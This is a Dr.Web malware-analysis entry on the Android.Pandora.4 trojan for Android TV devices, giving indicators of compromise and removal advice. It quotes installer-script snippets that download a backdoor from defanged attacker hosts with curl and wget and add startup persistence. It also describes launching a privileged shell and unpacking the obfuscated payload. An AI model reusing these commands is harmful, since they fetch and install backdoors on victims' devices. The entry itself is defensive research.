マイライブラリ
マイライブラリ

+ マイライブラリに追加

電話

お問い合わせ履歴

電話(英語)

+7 (495) 789-45-86

Profile

Android.Pandora.4

Added to the Dr.Web virus database: 2023-06-15

Virus description added:

SHA1:

  • 59c9f06b3ff2abceb7116ffc9f4566d2466ae4c4

Description

A trojan program designed to run on Android TV devices. Its main function is to launch two objects on a compromised device: a command-line interpreter with elevated privileges and an installer for the Android.Pandora.2 backdoor.

Indicators of compromise:

  • GoMediaService, which can have different full names in different cases. For example:

    com.interactive.brasiliptv.service.GoMediaService
    com.main.service.GoMediaService
  • The presence of the gomediad.so file in the assets/ directory of the .apk file

Operating routine

GoMediaService is started in the foreground when the device is booted, or when the application is started (when an activity is created).

The service copies the gomediad.so program from assets/ to the application file directory and runs it as follows:

Runtime.getRuntime().exec(savePath + '/' + "gomediad.so" + " -f " + savePath)

This program is an ELF file, written in Go, that has been obfuscated and then packaged, making it difficult for it to be analyzed in detail.

So far, it has been determined that the program can do the following:

  • send a request to hxxp://ip-api[.]com/json,
  • establish communication with i4nl[.]yalywi1gso[.]com, port 9999 over the TCP protocol
  • send data from hxxp://ip-api[.]com/json to i4nl[.]yalywi1gso[.]com receive UUID and then exchange the following messages

    #drweb

  • unpack the following set of files:

    #drweb

The .tmp.sh file is the downloader and installer for the Android.Pandora.2 backdoor.

Some code snippets from this script:

Downloading and extracting Android.Pandora:


cd /data && /data/curl -C - hxxp://fadfatest[.]pneydn[.]com:8080/stb-download/tool/supervisord.tar.gz -O  && unzip supervisord.tar.gz  && chmod 755 curl pandoraspearrk supervisord s.conf arp 

Adding a line to the shell script:


super=`cat $rootspath|grep "/system/bin/supervisord -c /system/bin/s.conf "`
if [ "x${super}" == "x" ];then
    echo "\n" >> $rootspath
    echo "/system/bin/supervisord -c /system/bin/s.conf & " >> $rootspath
    check_ser_run
    resvalue=$?
    if [ "$resvalue" -eq 0 ];then
         nohup /system/bin/supervisord -c /system/bin/s.conf 2>&1 &
    fi
fi

Downloading additional programs:


function keep_get_tool()
{
    cd /data
    ret=0
    num=0
    if [ -f "/system/bin/curl" ];then
        return 
    fi
    if [ -f "/data/curl" ];then
        if [ `wc -c curl|awk -F" " '{print $1}'` -eq 1010536 ];then
            return 
        fi
    fi
    busybox wget -c hxxp://195[.]154.168.94/curl
    while true
    do
        echo 'start' ${num}
        num=`expr $num + 1`
        if [ `wc -c curl|awk -F" " '{print $1}'` -eq 1010536 ];then
            echo "ok"
            ret=1
            break
        fi
        busybox wget -c hxxp://195[.]154.168.94/curl
        sleep 2
        if [ "${num}" -gt 200 ];then
            ret=2;
            break;
        fi
    done
    chmod 755 curl
    cd /data
}

The installation script is detected as Android.Pandora.15.

The classes.dexfile is detected as Tool.AppProcessShell.1, a command-line interpreter with elevated privileges (the project is now abandoned by its author). This Dalvik Executable application is launched using app_process as follows:

app_process -Djava.class.path=./classes.dex /system/bin shellService.Main

Later, programs on the device can communicate with this command-line shell through open port 4521.

To unpack gomediad.so, you need to replace the byte sequence b"\x75\x40\x28\x71" with b"\x55\x50\x58\x21" throughout the file. Then this file can be unpacked with UPX.

Curing recommendations


Android

  1. If the mobile device is operating normally, download and install Dr.Web for Android Light. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web для Android Light onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
    • Switch off your device and turn it on as normal.

Find out more about Dr.Web for Android